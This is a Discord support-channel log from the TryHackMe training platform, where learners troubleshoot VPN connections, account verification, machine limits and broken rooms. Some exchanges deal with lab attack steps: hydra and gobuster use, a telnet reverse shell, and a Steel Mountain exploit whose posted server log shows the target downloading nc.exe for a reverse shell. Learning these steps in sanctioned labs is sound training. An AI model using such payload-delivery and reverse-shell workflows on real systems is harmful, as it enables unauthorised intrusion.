site-support

[jovial mango]

I guess screenshot could be useful for what are you facing 😄

[verbal cargo]

https://ibb.co/10zhZNJ

[broken bear]

Instead of posting a shorteneded (and somewhat sketchy looking anonmyized link) you can verify your THM account and post a screenshot

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[verbal cargo]

Ok one sec

I'm kind of getting frustrated

This is the response from the bot TryHackMe
BOT
— Today at 9:51 AM
I'm sorry but I couldn't find the specified token!

Should I post my discord token on here?

Wow the Active Machine Information just popped up

[deep spire]

No, you want to put the token from your THM profile in the DM to the bot

[verbal cargo]

@deep spire I'm not slow man I did that already

[deep spire]

I'm not saying you are... Tends to work though... Were you missing any characters?

[verbal cargo]

Sorry man just a little frustrated, I'm literally copy/pasting directly from my profile

Lol I must be slow cause I put the <> arrows

[deep spire]

There we go 🙂

[deep spire]

aaah 😄

[verbal cargo]

'😂

Take care guys, starting work.

[uncut oxide]

Is it common for machines to be rendered offline by a gobuster scan?

I've thrown the directory-list-2.3-medium.txt wordlist at it (220k lines), seems to dislike responding after the first 40k

[deep spire]

how many threads are you running? sometimes rooms/vm's can lock up with requests

[uncut oxide]

Just using the default 10 threads

Oh strange, it seems to be resuming

[somber spindle]

u don't find the directory u are looking for yet?

i don't think any room requires u to brute force that many directories

[uncut oxide]

I'm not too familiar with the difference between the lists, given that I've had a room go beyond 55k on rockyou.txt so I didn't think it would be unreasonable

[weary spindle]

The lists are different sizes, I wouldn't throw rock you at everything.

[somber spindle]

most of them just have simple name for directory and if there is any hidden directory, it should be included in the hidden file somewhere that u can find

[deep spire]

And have different uses

[weary spindle]

install secLists and have a nosey at each different list.

[uncut oxide]

Well of course, not going to use a directory wordlist for passwords

[weary spindle]

And extensions.

[uncut oxide]

I;ve just been defaulting to the lists in the kali attackbox for now

[weary spindle]

So why are you using rockyou?

[somber spindle]

i can't decide what list to use with seclist

[uncut oxide]

I'm not

[somber spindle]

just example for other room i think

[deep spire]

Just a heads up, the kali THM machine might be outdated or have issues. I think it's in the process of being updated, but the Attackbox is generally a better shout and kept up to date

[uncut oxide]

Guess I'll pivot over onto it, I remember getting frustrated trying to switch accounts to get msfdb running on the attackbox image

[deep spire]

I'm not saying that's definitely the issue in this case, but may be a contributing factor (or may not). More to save you pain in future 🙂

[deep spire]

I was gonna guess connectivity issues, but if you're using a THM machine in the cloud, that shouldn't be an issue

[uncut oxide]

So it must have been at the tail end of the list, but gobuster matched a directory after 22 mins
....which was previously known from the smb scanning earlier

[fierce iris]

this is from the network services room

exploting ftp

ok

why cant i upload pics

[somber spindle]

u need to verify first

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[fierce iris]

Am i doing something wrong ?

because i cant get the password with hydra

[bronze vale]

Capital P not lowercase on -p?

[fierce iris]

i swear to god case sensitivity in options is driving me insane

one more thing

[fierce iris]

after downloading the file from an ftp server

where can i find it

same thing from telnet aswell

and when doing the telnet one were we had to create a reverse shell

why did we use .RUN before the ping command

[bronze vale]

.RUN is to execute a command, telnet doesn’t know normal Linux commands, you have to state that it needs to be executed as a Linux command

When you download files it should be in the directory that you typed the command in unless stated otherwise

[last canyon]

Hi

Is there any possible way to change the username?

[weary spindle]

Yes, E-mail support politely and they'll do it no problem.

You'll just need to download a new VPN config.

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[last canyon]

Thank you 👍

[scenic torrent]

Gave +1 Rep to @weary spindle

[fierce iris]

how do i state a diffrent path

i'm assuming just typing the path after the command right ?

[rich smelt]

the ip address given in https://tryhackme.com/room/vulnversity will not open in webpage i cannot complete the room

[fierce iris]

also how do i unable shared clipboard between the attack box and my machine

[weary spindle]

It's not a bug,

[weary spindle]

Did you get it?

[rich smelt]

still won't load

[weary spindle]

Did you nmap the machine?

[rich smelt]

yes

i used port 3333 as well

that was what the web server is running on

[weary spindle]

What's your target ip?

[rich smelt]

10.10.157.78

[weary spindle]

Works for me.

[rich smelt]

maybe its something with my own network or device... but i never had this problem before

[weary spindle]

how many tun* you got?

ip a

[rich smelt]

confused

[weary spindle]

type ip a on your terminal.

[bronze vale]

Don't always presume they're on Linux 😉

[rich smelt]

i got it figured out now i had to manually type http:// to connect to it. Thank you for helping tho

[scenic torrent]

Gave +1 Rep to @weary spindle

[weary spindle]

Nah, that's true.

[fierce iris]

whenever i use the -p- tag nmap takes forver

like yesterday it was stuck on starting nmap for over an hour

[plush bay]

add the -vv flag at least or else you won't get output until the scan is finished..... which will take a long time if you are scanning 65535 ports

shadow would also recommend adding either -T4 or -T5 to speed up the scan

[fierce iris]

sonic wouldn't approve though

[plush bay]

why not??? those help speed up things

[dry nebula]

hey guys

i just got a strange message from a user from this server

cloudy_0888#0441

[weary spindle]

@crystal marlin

[dry nebula]

thanks

[scenic torrent]

Gave +1 Rep to @weary spindle

[crystal marlin]

-ban 1004545467876638730 Carding scam

[scenic torrent]

🔨 Banned cloudy_0888#0441 indefinitely

[crystal marlin]

Thanks for reporting guys

[deep spire]

you can also press v or V to alter the verbosity while the scan is running

[plush bay]

true

[steady zenith]

hi

am confused i did the whole burp room

also all the rooms to get the pentesting badge

[deep spire]

but it's not showing up as done in the path?

[steady zenith]

yes

what should i do 2 fix it

[deep spire]

There's a redirect from an old room. You can't currently complete it. It's a known issue that we're looking at

[plush bay]

and that marks user number 30+ something with the same problem and question

[steady zenith]

alright thanks

also i don't have access to some rooms it shows user made this private sth like tat

[deep spire]

Yup, that sounds like a room has been made private

[deep spire]

Are there any other common things like that?

[plush bay]

the room: https://tryhackme.com/room/xssgi task 8 having problems with using the vpn connection and instead kinda requiring the attackbox used to be another one

[deep spire]

Added this 54 minutes ago 😎

[plush bay]

can't find the room it was in but that one where you are trying to go past a firewall with nmap and it states a detection number also did not work over vpn but works form attackbox and caused some confusion @deep spire

found it: https://tryhackme.com/room/netsecchallenge task 2 last question

seems someone put it into the hint there too

[deep spire]

Ah nice, not guilty, so it might have been the room creator?

[plush bay]

@deep spire another one that comes up commonly: https://tryhackme.com/room/postexploit task 3... kinda broken because the attackbox version of bloodhound is to new compared to the sharphound instance on the target machine causing problems... last version of bloodhound that works with the target machine version is 3.0.5

[deep spire]

Yup, well aware of that one, we're discussing what to do with the room, it may be replaced.

[plush bay]

that are all the common problems shadow sees except for the semi rare instance when someone finds a link to a private room

which then tends to quickly get report in #room-bugs and the link gets removed

[dawn raft]

heya i need to talk to a mod

[deep spire]

What's up? Not a mod, but can pass it on?

[fickle yacht]

Hello
What could be the reason that I am not able to connect to a machine with ssh using kali linux with windows wsl
I use openvpn from linux, have no vpn on my windows host
I am able to ping the machine
And I know I have to connect on port 2222

[deep spire]

is this WSL or WSL 2? WSL2 is slightly better, but I still wouldn't use WSL if i could absolutely help it.

[fickle yacht]

(I am sometimes able to connect, sometimes not)

[deep spire]

oh... Run ip a, sounds like you might have multiple VPN tunnels running

[plush bay]

!vpnscript

[sharp bison]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[plush bay]

good old helpful script for the win

[deep spire]

That too

[fickle yacht]

It is wsl2

Oh that's totally possible
I tried to connect with openvpn on my windows host
Then On linux

[deep spire]

aaaah, if you connect using the same profile in multiple palces the connections fight and disconnect each other. Only run it in the WSL or VM, not the windows/host OS. (otherwise you defo won't get reverse shells, and other things may break)

[fickle yacht]

I see...
Is there a way to disconnect from everywhere and do the whole process again to have a clean connection ?

After using the script it seems working !
Thank you !

I don't know what it is but apparently this was the problem

[plush bay]

max transfer unit

[deep spire]

If you have multiple you just have to go round and kill them

[deep spire]

But if that sorts it, then good stuff

[fickle yacht]

Okay
Yep, I hope it will stay like that 🙂

[fierce iris]

guys how to enable bi-directional clipboard between my local pc and attack box

[chilly pike]

there is a grey collapsable box on either the left or right side of the attack box

there are some buttons in there that allow you to copy / paste

youre looking for this:

[fierce iris]

found it , thanks

am i doing something wrong

this is from network service 2

the script itself is broken right ?

also why do we have to use ./ before the script

[somber spindle]

u really need to learn some basic linux stuff first then, but ./ is to execute script or file that is executable

[somber spindle]

where did u get that bash file? why does it have html tag?

[fierce iris]

from the link in the room

[fierce iris]

yeah i probably need to brush up on linux a bit haven't used it in a while

[somber spindle]

might need to check that bash file again

[weary spindle]

If you have the html link, you haven't downloaded the bash file properly, you have downloaded the webpage.

[ashen cipher]

Already have this module but python2 cant not get it. How to solve this?

Tried with pip3 also not working.

[deep spire]

Is that by any chance in task 4? Because i did add something to explain this problem yesterday.

[deep spire]

I thought i fixed this... We'll see

[ashen cipher]

Fantastic man! you are great.. I was just thinking it was python2 vs python3 conflicting issues and ya it is.. Thank you😍😍

[scenic torrent]

Gave +1 Rep to @gray loom

[onyx sequoia]

Try Hack me bot give error on verify time @torn citrus @zealous yoke @placid mango @fallen juniper

[sturdy oriole]

Tech support team....I am unable to upload screenshots on THM discord....is there anything that i need to change

[cerulean falcon]

I think that the room https://tryhackme.com/room/phishingyl is broken regarding task 5 (Using GoPhish)

I can login to the gophish page using the link (https://<machine-ip>.p.thmlabs.com:8443/campaigns

But when I am logged in then all the important gophish pages show just a loading icon and I get console errors when trying to create campaigns, sending profiles, etc.

[deep spire]

@keen ether this is the fix for your vpn issue #site-support message

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[sturdy oriole]

did not get this

[keen ether]

yes yes yess its worked! thanks again i love you

[scenic torrent]

Gave +1 Rep to @deep spire

[deep spire]

@keen ether I'd recommend reading #rules , please don't send Friend requests without asking first.

[onyx sequoia]

hey anyone can help me to verify my account with thm bot

it's gave me this error " Sorry, you already have a token on this account. "

[onyx sequoia]

@torn citrus @zealous yoke @placid mango @crystal marlin @tawdry orbit @sharp bison

[weary spindle]

Please don't ping staff, they won't fix it as it's Discord.

You'll need a mod. 🙂

[onyx sequoia]

ok 🙂

[eager linden]

Im currently having an issue with the sysinternals room (https://tryhackme.com/room/btsysinternalssg). Task 3 asks for you to change the advanced sharing setting so that network discovery is turned on. However I have been unable to enable this feature. I am currently running it via a remote desktop on my Kali machine using Remmina

[crystal marlin]

I guess you good now, right ?

[onyx sequoia]

no

[onyx sequoia]

pls can you remove my old discord token form bot and then verify my new token @crystal marlin

[mild rapids]

Hello guys

Why i cant see screeshots in the learning paths?

[crystal marlin]

Send me a DM with your old and new token pls

[onyx sequoia]

ohk

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[sturdy oriole]

i see this ....is it something that needs to be addressed.

Thanks a lot man

[scenic torrent]

Gave +1 Rep to @gray loom

[deep spire]

I believe one of them is part of an experiment 🙂

[celest holly]

hey guys how secure is reddit

[deep spire]

Hey, this channel is for tech-support related to THM. Also, I've got no idea what you mean by this. Are you asking if the servers a re secure, or if it's safe to create an account? Either way, we're unlikely to be able to answer that.

[celest holly]

ohhk sorry

where can i mesg btw

what is meant was can government or isp find my ip y crucial information

[deep spire]

Possibly #infosec-general ? And governments can ask ISP's for your details using a warrant.

[shell lynx]

where can I see my active machines? says I can't start a machine since 3 are already started

[weary spindle]

https://tryhackme.com/api/vm/running

[shell lynx]

Thanks

[warm birch]

Hey, Im in East US and when im trying to use the US-EAST-Regular VPN file I am receiving this error..I default to using the US-WEST-VIP-1 connection but the US-West-VIP VPN server is practically unusable for me

[fierce iris]

from network services 2

[marsh finch]

Hey there,
is it possible to reset a learning path which i have already done or do I need to reset every room one by one?

[twilit axle]

Hello, can anyone help me? Im trying to Start a Machine, but i says me that i am already running 3 machines, how do i kill those machines?

[weary spindle]

#site-support message

[twilit axle]

is it posible to not kill the attack box?

[weary spindle]

No, you need this link

[weary spindle]

#site-support message

[deep spire]

If you go to the rooms you have vm's running in, then yes. Using that command, no, unless you manually alter it.

[fierce iris]

ok but why

ok i feel so stupid

i was using the wrong machine

lmao

[deep spire]

Heh, it happens 😄

[shut heart]

Hello guys, hope you are doing well. I get a ticket in a room as a free user, but when i took the subscription i can't get the other ticket. How to solve this ?

[deep spire]

#1017019049181450291 message

[shut heart]

thank you !

[scenic torrent]

Gave +1 Rep to @deep spire

[naive dust]

i refreshed and lost my ticket claim

finished a module and refreshed the page, is there another way to get the notification back?

[serene fable]

if you are talking about, that you completed a room and refreshed page and the ticket claiming pop up was gone,
you can reset the room and finish it again

[naive dust]

ok, ill try thaty

[serene fable]

its worked for me multiple times 😉

[naive dust]

cool, it worked, thanks +rep @serene fable

[scenic torrent]

Gave +1 Rep to @serene fable

[storm vigil]

If I need answers for one of the rooms how to get it?

[deep spire]

generally by asking in #room-hints or #room-help (stick to one or the other), and wait until someone is along to help you. It's best to give the room link, say what task and question you're stuck on, what you've tried, and what's gone wrong.

[storm vigil]

I got the The OSEP "Voucher And I can't redeem it!!!!

@deep spire

[chilly pike]

I think Robert went to bed a while ago, so please wait for a bit 🙏

[storm vigil]

Okay Any help from any of the Staff?!!

[chilly pike]

actually @storm vigil I got this from the FAQ just now:

Most of the prizes you can claim automatically. However, email us at [e-mail] if you've won the OSEP Voucher, HAK5 Rubber Ducky, or HAK5 WiFi Pineapple. Make sure to include your TryHackMe username in the email, and use the prize name in the email title (for example, if you win a Rubber Ducky, include "Rubber Ducky" in the email title). As some of the larger prizes and entries are manual, we will get back to you by early October to verify.```

so you have to email [e-mail] to get it sorted 🙂

congratulations btw 😉

for more FAQ, check out Task 6 https://tryhackme.com/room/tickets3

[storm vigil]

Thank you ♥️

[chilly pike]

np, enjoy!

[dreamy light]

i got my thm token already used because i changed my discord account can i get it back please my account is Tetsu.Calamty

@flint bluff @zealous dune @wispy chasm

[rich smelt]

https://tryhackme.com/room/vulnversity target ip not loading in my browser what do i do i cant complete this room

[broken bear]

Can you DM me from the original discord account?

[dreamy light]

i think i can i will try

[scenic epoch]

i need help

[graceful geyser]

Does anyone know how to fix a course specific machine thats not loading up?

[scenic epoch]

with my sub

[shy mortar]

I need help with a question, can someone help me?

[broken bear]

Please do not spam the same message across multiple channels.

[broken bear]

email [e-mail] for problems with your subscription

[weary spindle]

Did you nmap it?

[white burrow]

my OpenVPN is not getting connection.Why?

[weary spindle]

Its better if you post a screenshot.

[dire cloak]

heyo, i just had an odd popup on completion of the phishing room, it said "Error: tickets for this room have already been awarded", I definitely haven't done the room before, is this referring to a limited global pool of tickets or is it just a bug? not too concerned either way, just thought i'd let you know 🙂

[deep spire]

Congrats, I see Dolphin pointed you to the right thing, fingers crossed your email goes in before anyone else! I don't think you find out until the end of the event

[rich loom]

Hey, I'm doing the network services room.
It says there should only be 3 ports open and 2 of them should be running the smb service but when I perform a scan I find 9 ports are open and none are running smb

[crystal marlin]

You sure you are scanning the right machine?
So the target machine and not the attackbox?

[rich loom]

that's it, sorry

thank you

[orchid gulch]

Hello, got a problem with Red Team OPSEC Room Task 2 - critical information identification

how am i supposed to go through when there is no reaction to what I mark?

is there a submit button missing or something?

I have already tried firefox and chrome

[deep spire]

Tick the correct 3 things based on the list in task 2 and you'll get the flag pop up

[orchid gulch]

Oh well, my bad. Was too focused on "however, there is no reason to expose your OS".

[mild rapids]

@crystal marlin I cant make a screenshot on the dev tools

[crystal marlin]

Uhm, why would that be ?

[foggy stump]

Question: Why after completing rooms (phishing, password attacks, enumeration) i didn't receive any tickets? After I completed these rooms today I wanted to get new tickets and when I clicked on them I received a message "Tickets for this room already awarded", even though it was my first time doing these rooms. Am I misunderstood something about ongoing event?

[mild rapids]

I dont know but it is a problem

[crystal marlin]

I mean, it shouldn't matter if you have the dev tools open or not to make a screenshot, so I don't understand where the issue is.
Maybe google how to make screenshots with the operating system you are using

[mild rapids]

Hukey i'll try

[mild rapids]

But where isthe problem if i make a photo for you of the dev console?

[crystal marlin]

I mean, it's not a big problem, but it's very unpleasant to look at compared to an actual screenshot.
And being able to make a screenshot shouldn't be a very difficult task tbh 😄

But if you are having such a hard time with figuring out how to make a screenshot, then just send a photo 😄

[mild rapids]

okay

[cobalt pier]

Not sure if this belongs here however, I do not know where eles to post it: I completed the PenTester Tools Series and did not receive the badge, would someone be able to look into this for me?

[crystal marlin]

Mh, not sure why it would give you that status code.
Are you using any personal VPN, if so, could you turn that off and check the errors again?

[mild rapids]

NO i only use the openVPN configured by the tryhackme

[crystal marlin]

Ok, well not sure why you would get that status code.
It's basically saying you are making too many requests in a short period of time.
Maybe someone else knows how to fix that

[mild rapids]

like who?

[crystal marlin]

Like any other member of this discord who might have encountered that issues and knows how to fix it, since I don't unfortunately

[mild rapids]

Hukey thank you

[scenic torrent]

Gave +1 Rep to @crystal marlin

[hardy charm]

if I buy the wrong plan when I renew my vip, can I cancel the purchase?

[weary spindle]

What do you mean?

[hardy charm]

I made the purchase of the annual plan by mistake but I wanted the monthly plan, is there any option to cancel the purchase on the TryHackMe website?

[weary spindle]

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[weary spindle]

Only support can answer this question.

[hardy charm]

thanks

[dreamy light]

you need 3 ticket for the wifi pineapple and the ducky or two ? ???

[tame solar]

hey, i am trying to run armitage on my vm, but when i try to run the msfdb init command i get the following:
SCRAM authentication requires libpq version 10 or above
I've googled the whole day and couldnt find anything to fix this, i saw some articles about changing the password but i believe that resulted me in the error messages saying that the user msf cant connect to the database.
Any ideas?

[valid mauve]

Hey, I got the new Red Teamer title, but I noticed that it doesn't show up when you use "Get Profile Badge ID"

is this something that will be fixed later or will it stay like this?

[deep spire]

Yes, you need three

[deep spire]

It seems it's giving you the Lucky role from an old promotion

[weary spindle]

I don't think it ever left?

[cosmic tundra]

I’m trying to buy THM but the sales person has stopped responding and his telephone number has stopped working

[deep spire]

A subscription? The options on the website are generally the only options

[cosmic tundra]

No corporate for 30 users

[deep spire]

Ah, can you DM me who you were talking to?

[copper bay]

Hi, gotta problem with room "Red Team Opsec", Task 7: None combinations work to get the flag. Can anyone help me out?

[crystal marlin]

You know you are already given the first 2 numbers, right ?

[deep spire]

Looks like they just confirmed they managed it in #red-teaming-path . I might add something to say Enter does not work to submit.

[crystal marlin]

Alrighty 🙂 But I have to admit, that task wasn't that straight forward, at least for me 😄

[deep spire]

Yeah, I know. It was even worse when it first released, at least you get given the first 2 numbers now. I believe a re-design to make it drag and drop to match them up is going to happen based on the feedback received. I've also got the number orders stored in a txt currently, just in case

[cedar crest]

I am doing "Enumerating Active Directory" Task 3

I am using ATTACK Box

I am trying run MMC console but cant find the program, instructions says that its preloaded

Help from anyone please

[deep spire]

Hi, we generally use the netwrok rooms for troubleshooting these things 🙂 #enumerating-ad Have you remoted into the THMJMP1 machine?

[cedar crest]

yes I have RDP into THMJMP1

[deep spire]

And what are you having trouble finding?

[cedar crest]

when search for program MMC but nothing there

[deep spire]

As it states in the room, "You can start MMC by using the Windows Start button, searching run, and typing in MMC."

[cedar crest]

thats what I am doing but the MMC app is not there

[zealous yoke]

you need to run the "Run" app

either search for "Run" like this or do "Windows Key + R"

[deep spire]

I was attempting to highlight the "search run" bit, but guess it doesn't show that well

[weary spindle]

OOhhh.. What apps are we hiding!? 😂 :p

[zealous yoke]

wouldn't you like to know 😉

[valid mauve]

Ya, I noticed that. Will that be changed to say the correct thing?

[deep spire]

I've chucked it in our User feedback channel along with an associated bug. Someone should have a look at it, but given it's my last day i won't be able to follow up 😄

[valid mauve]

All good. Thank you for the feed back!

[scenic torrent]

Gave +1 Rep to @deep spire

[timid rose]

hi im doing the Active Directory Basics, i wanna login with RDP with my pc but it doenst work, anyone knows why?

[weary spindle]

Are you on the VPN?

[weary spindle]

^

[timid rose]

ye i think i foud the problem

let me check

[timid rose]

forgot to turn off my nord vpn 😅

[weary spindle]

D'oh.

[signal sail]

Hi, does someone know if there's a bug on the task 6 / flag13.txt in the https://tryhackme.com/room/windowslocalpersistence room ?

i grab the reverse shell as requested but when i ask for the exe to get the flag i have "Sorry! You are still missing something. No flag for you yet. (5)"

Oh sorry ok it's fine, i used the same reverse shell for previous flag and as it was in the same location it may be a verification for getting the flag. Just renamed it and it was ok

[pallid oak]

could anyone give a obfuscation principles task 8 proper hints for someone new in red teaming as i am stuck for this task since 6+hrs 😫

[tranquil plaza]

hi

I can't start a machine anymore, I have this message
Uh-oh! You can only deploy a maximum of 3 machines at a time.
how can i close the one that are not finished?

[weary spindle]

https://tryhackme.com/api/vm/running

Use that link to see which machines you have running, then you can go to the rooms and close them.

[deep spire]

and if you don't mind killing your attackbox too, there's code in the pinned messages which kills them all

[tranquil plaza]

okay I see the three rooms where there is an active machine

[deep spire]

in which case you can go to those rooms and terminate them.

[tranquil plaza]

Thank you all is right, I will keep the url of the api in favorite

[deep spire]

+rep @weary spindle

[scenic torrent]

Gave +1 Rep to @weary spindle

[topaz elm]

Room: Passive Reconnaissance
"On the AttackBox, open the terminal and run the whois tryhackme.com"
There is no internet access on AttackBox (free user).

[weary spindle]

Do you have a VM?

[topaz elm]

I do. I am finishing the room from my local VM. But it's funny that the room is suggesting users to use the AttackBox to perform internet required instructions.

[weary spindle]

I seen Tim say one day that they can only assure you that everything will work in the attackbox.

[safe kraken]

Having an issue with Steel Mountain Task 4. I am using Kali booted from USB. I started the HTTP server and Netcat listener, and have run the exploit with python. I show the GET /nc.exe bit on the first run, but when I run the exploit a second time it does not work.
I have tried both the github version of nc.exe and the version that comes with kali
No luck with either

I'm wondering if the room is broken

[crystal marlin]

First of all, there is no need to post the same question in more then 1 channel 🙂

The nc.exe you download from github, how did you download it?

With wget ?

[safe kraken]

no, manually

wasnt sure if this was a buggy room or not so i posted in both

and I used the nc.exe included with kali in the /usr/share/windows etc.

most people I've seen when researching this have an issue with port 80 due to using attackbox, but that is not the case with me, I'm using a kali liveboot system that has worked for me through the complete beginner path and most of the offensive security path

I'm going back through rooms again to take notes and practice writeups

[crystal marlin]

So you kept port 80 in the exploit script ?

[safe kraken]

so I know I've done this before

no, exploit I'm using 443

[crystal marlin]

And your nc listener was listening on which port ?

[safe kraken]

443

[crystal marlin]

And you also terminated the python server before running it the 2nd time ?

[safe kraken]

no, kept server up

[heavy glen]

!rank in #bot-commands not working for me

[crystal marlin]

Maybe that's the issue, I would try to terminate the python server after the nc.exe got uploaded (use the one from github, not the one that comes with your kali) and then start up your nc listern, then run the script a 2nd time

[crystal marlin]

Because you are not verified

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[heavy glen]

okay thnx

[safe kraken]

okay, thanks, starting with new instance of room and trying again

tried that and I'm just getting another "GET /nc.exe HTTP/1.1" 200 -

I have no idea at this point

[crystal marlin]

Maybe verify and show a screenshot of what exactly you get, as I'm unsure what you mean with "another", a 2nd one after the first request ?

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[safe kraken]

how do i upload a screenshot?

im on the web app, only have gif, stickers, and emojis

[crystal marlin]

Follow the link and verify, then you can upload screenshots

[safe kraken]

/tmp/SteelMountain

/tmp/SteelMountain

still not working

/tmp/SteelMountain

[crystal marlin]

I'm unsure what exactly you are doing

https://help.tryhackme.com/community/discord

[safe kraken]

ctrl c ctrl v

I tried and got

Your message could not be delivered. This is usually because you don't share a server with the recipient or the recipient is only accepting direct messages from friends. You can see the full list of reasons here: https://support.discord.com/hc/en-us/articles/360060145013

/tmp/SteelMountain

[crystal marlin]

You have to allow DMs of server members for the TryHackMe discord in the privacy settings

[safe kraken]

its enabled

[crystal marlin]

But in the settings for that specific server, not just in the general settings

Next to the server name there is a drop down menu

[safe kraken]

yeah i clicked on tryhackme and then enabled it

[crystal marlin]

Alright, then you should be able to DM the bot now

[safe kraken]

same thing

didnt work

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.112.132 - - [09/Sep/2022 14:26:44] "GET /nc.exe HTTP/1.1" 200 -
10.10.112.132 - - [09/Sep/2022 14:26:44] "GET /nc.exe HTTP/1.1" 200 -
10.10.112.132 - - [09/Sep/2022 14:26:44] "GET /nc.exe HTTP/1.1" 200 -
10.10.112.132 - - [09/Sep/2022 14:26:44] "GET /nc.exe HTTP/1.1" 200 -

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.112.132 - - [09/Sep/2022 14:26:44] "GET /nc.exe HTTP/1.1" 200 -
10.10.112.132 - - [09/Sep/2022 14:26:44] "GET /nc.exe HTTP/1.1" 200 -
10.10.112.132 - - [09/Sep/2022 14:26:44] "GET /nc.exe HTTP/1.1" 200 -
10.10.112.132 - - [09/Sep/2022 14:26:44] "GET /nc.exe HTTP/1.1" 200 -

thats what it shows

since it wont let me screenshot

*send screenshot

does that make any sense?

[crystal marlin]

Well not sure why you would get the request 4 times

Also, you could try a different port for your listener in the script

[safe kraken]

I only did the exploit once

[crystal marlin]

Like 4455 or something

[safe kraken]

i tried 443,445,446,4444,4445

ill try 4455

[crystal marlin]

If you do sudo ufw status what's the reply you get ?

[safe kraken]

sudo: ufw: command not found

[crystal marlin]

Okay, well beside your nc.exe being faulty, I'm not sure what the issue could be

[safe kraken]

how does ufw status effect it?

is that something I need

[plush bay]

ufw == uncomplicated firewall

firewalls can affect network connection thingies

[crystal marlin]

I would double check it, if there are html elements at the top of your nc.exe then it's faulty

[safe kraken]

okay, I'm going to report this to THM support

I appreciate your help

[crystal marlin]

I doubt it's an issue with the machine

[safe kraken]

this has been super frustrating, but not the first bug I've had to work through for THM rooms

[plush bay]

and the lack of screenshots makes it harder

[safe kraken]

yeah, Discord doesnt make screenshots easy

still getting the error message when I try to !verify

oh, lol, just tried again and it worked

they must be listening to us

here it is

nevermind, forgot to add the .png

so here it is

[plush bay]

can you open another terminal in that folder with nc.exe

and then run file nc.exe

on the kali vm

not on the target

[safe kraken]

nc.exe: PE32 executable (console) Intel 80386, for MS Windows

thats what I got

[plush bay]

okay then it is at least not html code thingy stuff that fontaene suspected

[safe kraken]

yeah, what do you think the likelihood its a bug on THM end?

[plush bay]

¯_(ツ)_/¯

!vpnscript

[sharp bison]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[safe kraken]

I've had it happen before, where you have to use workaraound, such as different payloads for metasploit

[plush bay]

have you tried this just to rule out any cause from bad connection

[safe kraken]

instead of the ones they suggest

[crystal marlin]

Actually, since you are getting multiple requests at the same time, you could have multi vpn

If you do ip a s do you only see a tun0 interface or any extra like tun1, tun2 etc

[plush bay]

which is part of the reasoning asking for the vpn trouble shoot script to be run

[safe kraken]

no, just tun0

[crystal marlin]

Any personal VPN running on your host machine ?
I assume your kali is a VM ?

[safe kraken]

no kali running as a live persistent USB

[crystal marlin]

ah

[safe kraken]

never had problems with vpn before

just having to restart rooms, which I've done countless times

I won't take up anymore of your time, I'm going to put this in THM Staff's court since it seems to be an issue with the room right now. How is their response time for support?

I'm assuming on a friday afternoon I probably wont hear anything until Monday?

[crystal marlin]

That could vary pretty widely, especially when there is an event going on

If you think something is a bug, it's best to put it in #room-bugs
If I wouldn't be ill actually, I would try the room myself now, depending how I feel tomorrow I might can do that

In case you don't get it solved meanwhile or someone else is able to help you

[plush bay]

yeah shadow thought about opening the room themselves and trying too but doing that at 00:17 feels weird

[safe kraken]

Looks fine

[plush bay]

okay then

[safe kraken]

well thanks again for the help y'all

and for walking me through this discord thing, I feel like an old man

😆

If you guys try the room please DM me!

I appreciate it

Goodbye!

👋

[unborn blade]

Hey i know this is probably a common issue but I cannot for the life of me fix it, whenever i try to connect I fail, ive used the troubleshoot script and what find is that tun0 interface does not exist and when it tries to connect automatically it "is taking longer than expected to complete" before failing to connect

[serene fable]

you using linux or windows ? and are you facing difficulty in connecting to vpn ?

[unborn blade]

linux, and yes im facing difficulties connecting

it doesnt connect, its a failed TLS handshake with the troubleshoot script saying tun0 does not exist

[serene fable]

can you share a screenshot, as per my understanding, Openvpn is not connecting

[unborn blade]

i cant send one rightthis second youl have to give me like

3 minutes

i dont have discord downloaded on my laptop im on a desktop right now that is shared

[serene fable]

ok, have you used the command sudo openvpn Sable.ovpn ?

[unborn blade]

yep

word for word this is the error messages
///

oops bad keyboiard let me get american

TLS Error: TLS key negotiation faild to occur within 60 seconds (check your network connectivity)
TLS Error: TLS handshake failed

oh i also cant attach screenshots anyways

https://ibb.co/R4jLH6v

thats an image of it

[serene fable]

lets wait for some admin to guide you through it

[finite aurora]

To send images here, you have to verify yourself with your THM account token

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[weary spindle]

Which country are you in?

[solemn peak]

what should i do if google isnt in my search engine list?

[crystal marlin]

I'm a bit unsure what exactly you mean with that.
But if it's not related to TryHackMe please use #infosec-general or #general for such questions

[ancient summit]

Hey, why suddenly openvpn connection doesn't work anymore 😦

It used to be working fine, by adding data-ciphers in ovpn config

2022-09-10 15:59:47 DEPRECATED OPTION: --cipher set to 'AES-256-CBC' but missing in --data-ciphers (AES-256-GCM:AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-256-CBC' to --data-ciphers or change --cipher 'AES-256-CBC' to --data-ciphers-fallback 'AES-256-CBC' to silence this warning.
2022-09-10 15:59:47 OpenVPN 2.5.1 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on May 14 2021
2022-09-10 15:59:47 library versions: OpenSSL 1.1.1n  15 Mar 2022, LZO 2.10
